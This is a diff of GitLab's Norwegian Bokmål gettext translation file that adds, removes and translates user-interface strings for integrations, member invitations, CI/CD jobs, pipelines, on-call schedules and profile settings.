msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "Standard "
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr "Ugyldig fil."
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr "Ugyldige importparametre"
@@ -14600,6 +14964,9 @@ msgstr "Ugyldig 2-trinnskode."
msgid "Invalid yaml"
msgstr "Ugyldig yaml"
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "Invitasjon"
@@ -14624,6 +14991,9 @@ msgstr "Inviter gruppe"
msgid "Invite member"
msgstr "Inviter medlem"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr "Saksanalyse"
msgid "Issue Boards"
msgstr "Problemvegger"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr "Status"
msgid "IssueAnalytics|Weight"
msgstr "Vektlegging"
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr "kan ikke være i fortiden"
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr "Jobben ble forsøkt på nytt"
msgid "Jobs"
msgstr "Jobber"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Bla"
@@ -15273,7 +15667,7 @@ msgid "Keep divergent refs"
msgstr ""
msgid "Keep editing"
-msgstr ""
+msgstr "Fortsett å redigere"
msgid "Kerberos access denied"
msgstr "Kerberos-tilgang ble nektet"
@@ -15305,6 +15699,9 @@ msgstr "Nøkler"
msgid "Ki"
msgstr "Ki"
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15443,13 +15840,13 @@ msgid "Last 2 weeks"
msgstr ""
msgid "Last 30 days"
-msgstr ""
+msgstr "Siste 30 dager"
msgid "Last 60 days"
msgstr ""
msgid "Last 90 days"
-msgstr ""
+msgstr "Siste 90 dager"
msgid "Last Accessed On"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr "Etternavn"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Siste svar fra"
@@ -15530,7 +15924,7 @@ msgid "Last used on:"
msgstr "Senest brukt:"
msgid "Last week"
-msgstr ""
+msgstr "Forrige uke"
msgid "LastCommit|authored"
msgstr "forfattet"
@@ -15583,6 +15977,9 @@ msgstr "Lær mer om Kubernetes"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr "Lær mer om utstasjonering til en klynge"
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "Lær mer om å signere commiter"
@@ -15643,9 +16037,6 @@ msgstr "Forlat gruppen"
msgid "Leave project"
msgstr "Forlat prosjektet"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr "Forlat zenmodus"
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "Lisens"
-
msgid "LicenseCompliance|License Approvals"
msgstr "Lisensgodkjennelser"
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr "Lisensdetaljer"
-
msgid "LicenseCompliance|License name"
msgstr "Lisensnavn"
-msgid "LicenseCompliance|License review"
-msgstr "Lisensgjennomgang"
-
-msgid "LicenseCompliance|Packages"
-msgstr "Pakker"
-
msgid "LicenseCompliance|Remove license"
msgstr "Fjern lisens"
@@ -15778,9 +16157,6 @@ msgstr "Det er for øyeblikket ingen retningslinjer som samsvarer i dette prosje
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Denne lisensen finnes allerede i dette prosjektet."
-msgid "LicenseCompliance|URL"
-msgstr "URL"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "Du er i ferd med å fjerne lisensen, %{name}, fra dette prosjektet."
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr "Lenketittel"
msgid "Link title is required"
msgstr "Lenketittel er påkrevd"
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr "Gjør saken konfidensiell"
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr "Gjør denne epos konfidensiell"
@@ -16173,17 +16552,11 @@ msgstr "Manifest-importering"
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Kartlegg en Google Code-bruker til en GitLab-bruker"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Kartlegg en Google Code-bruker til en full e-postadresse"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Kartlegg en Google Code-bruker til et fullt navn"
+msgid "Map a FogBugz account ID to a GitLab user"
+msgstr ""
msgid "Mar"
msgstr "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr "Forslag:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr "Maks tilgangsnivå"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "Innflettingscommit-melding"
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -16822,7 +17225,7 @@ msgid "Merging immediately isn't recommended as it may negatively impact the exi
msgstr ""
msgid "Message"
-msgstr ""
+msgstr "Melding"
msgid "Messages"
msgstr "Meldinger"
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr "Gruppemilepæl"
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Milepælen %{milestoneTitle} ble ikke funnet"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr "Pågående saker (åpne og tilordnede)"
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr "Minimumsintervall i dager"
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "Minimumslengden er på %{minimum_password_length} tegn"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "Minimumslengden er på %{minimum_password_length} tegn."
-
msgid "Minimum password length (number of characters)"
msgstr "Minimumspassordlengde (antall tegn)"
@@ -17419,7 +17822,7 @@ msgstr "Legg til SSH-nøkkel"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Ikke vis igjen"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr "Flytt utvalget ned"
msgid "Move selection up"
msgstr "Flytt utvalget opp"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr "Flytt denne saken til et annet prosjekt."
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Logg ut og logg inn med en annen konto"
msgid "Need help?"
msgstr "Trenger du hjelp?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr "Trenger oppmerksomhet"
@@ -17900,7 +18312,7 @@ msgstr "Aldri"
msgid "New"
msgstr "Ny"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr "Nytt krav"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr "Ingen bidrag"
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr "Antall commiter"
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Ikke tilgjengelig"
@@ -18400,6 +18812,9 @@ msgstr "Ikke nok data"
msgid "Not found."
msgstr "Ikke funnet."
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "Ikke klar enda. Prøv igjen senere."
@@ -18412,6 +18827,9 @@ msgstr "Notis"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr "Bare vis historikken"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "Ingenting ble funnet …"
@@ -18487,9 +18908,15 @@ msgstr "Mislykket rørledning"
msgid "NotificationEvent|Fixed pipeline"
msgstr "Fikset rørledning"
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Innflett fletteforespørsel"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Nytt epos"
@@ -18505,6 +18932,9 @@ msgstr "Ny notis"
msgid "NotificationEvent|New release"
msgstr "Ny utgivelse"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Tilordne sak på nytt"
@@ -18514,6 +18944,9 @@ msgstr "Tilordne fletteforespørsel på nytt"
msgid "NotificationEvent|Reopen issue"
msgstr "Gjenåpne saken"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Vellykket rørledning"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr "Opprett en ny nettstedsprofil"
-msgid "OnDemandScans|Create new DAST scan"
-msgstr "Opprett ny DAST-skanning"
-
msgid "OnDemandScans|Manage profiles"
msgstr "Behandle profiler"
@@ -18682,9 +19139,6 @@ msgstr "Kjør skanning"
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr "Velg en av de eksisterende profilene"
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr "Bruk eksisterende sideprofil"
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr "Når et prosjekt er permanent slettet, kan det %{strongStart}ikke gjenopprettes%{strongEnd}. Hvis du sletter dette prosjektet permanent, vil %{strongStart}umiddelbart slette%{strongEnd} kodelagrene og %{strongStart}alle relaterte ressurser%{strongEnd}, inkludert saker, fletteforespørsler, osv."
@@ -18706,7 +19166,7 @@ msgstr "NÃ¥r et prosjekt er slettet permanent, kan det ikke gjenopprettes. Du mi
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr "En eller flere av dine personlige tilgangssjetonger ble trukket tilbake"
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr "En eller flere av avhengighetsfilene dine er ikke støttet, og avhengighetslisten kan være ufullstendig. Nedenfor er en liste over støttede filtyper."
@@ -18813,6 +19270,9 @@ msgstr "Ã…pne saker"
msgid "Open raw"
msgstr "Åpne råversjon"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Ã…pne sidelinje"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Eventuelt kan du %{link_to_customize} hvordan FogBugz-e-postadresser og brukernavn importeres til GitLab."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "Eventuelt kan du %{link_to_customize} hvordan Google Code-e-postadresser og brukernavn importeres til GitLab."
-
msgid "Options"
msgstr "Innstillinger"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr "Reduser innrykk"
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr "Overstyrt"
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr "Composer"
msgid "PackageType|Conan"
msgstr "Conan"
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr "Maven"
@@ -19219,10 +19685,7 @@ msgid "Page not found"
msgstr "Siden ble ikke funnet"
msgid "Page settings"
-msgstr ""
-
-msgid "Page was successfully deleted"
-msgstr "Siden ble vellykket slettet"
+msgstr "Sideinnstillinger"
msgid "PagerDutySettings|Active"
msgstr "Aktiv"
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr "Rørledningsabonnementer"
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "Mer informasjon"
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr "Kjør rørledning"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr "Vennligst kontakt administratoren din med eventuelle spørsmål."
@@ -19899,9 +20377,6 @@ msgstr "Ta kontakt med administratoren."
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr "Vennligst skriv inn et passord for din nye konto."
@@ -20064,18 +20539,12 @@ msgstr "Velg hvilket innhold du vil se på et prosjekts oversiktsside."
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr "Velg hva slags innhold du vil se på hjemmesiden din."
-msgid "Preferences|Customize integrations with third party services."
-msgstr "Tilpass integreringer med tredjepartstjenester."
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Tilpass utseende til applikasjons-toppområdet og navigasjonssidelinjen."
msgid "Preferences|Display time in 24-hour format"
msgstr "Vis tid i 24-timersformat"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr "For eksempel: 30min siden."
@@ -20085,9 +20554,6 @@ msgstr "Hjemmesideinnhold"
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr "Integreringer"
-
msgid "Preferences|Layout width"
msgstr "Utformingsbredde"
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "Syntaksfremhevingstema"
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Profil"
msgid "Profile Settings"
msgstr "Profilinnstillinger"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "den"
@@ -20304,6 +20788,9 @@ msgstr "Du er i ferd med å slette %{yourAccount} permanent, og alle sakene, fle
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Du er i ferd med å endre brukernavnet %{currentUsernameBold} til %{newUsernameBold}. Profilen og prosjektene blir omdirigert til %{newUsername}-navnefeltet, men denne viderekoblingen utløper når %{currentUsername}-navnene har blitt registrert av en annen bruker eller gruppe. Oppdater Git-kodelagerfjernkontrollene dine så snart som mulig."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "Avataren vil blir fjernet. Er du sikker?"
msgid "Profiles|Bio"
msgstr "Profil"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Endre brukernavn"
@@ -20691,9 +21181,6 @@ msgstr "Prosjekt avatar"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr "Ikke tillat"
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr "Universelt"
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "Internt"
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr "Rørledninger"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Rørledningene må lykkes"
@@ -21072,6 +21562,12 @@ msgstr "Kodelager"
msgid "ProjectSettings|Require"
msgstr "Krev"
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr "Vis og rediger filer i dette prosjektet"
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Forfrem saken til en epos"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Forfrem til gruppestempel"
@@ -21787,7 +22289,7 @@ msgid "Publish to status page"
msgstr "Publiser på statussiden"
msgid "Published"
-msgstr ""
+msgstr "Publisert"
msgid "Published on status page"
msgstr "Publisert på statussiden"
@@ -21837,6 +22339,9 @@ msgstr "Push-hendelser"
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21922,7 +22427,7 @@ msgid "Rake Tasks Help"
msgstr ""
msgid "Random"
-msgstr ""
+msgstr "Tilfeldig"
msgid "Raw blob request rate limit per minute"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr "Gjenopprettingskoder"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
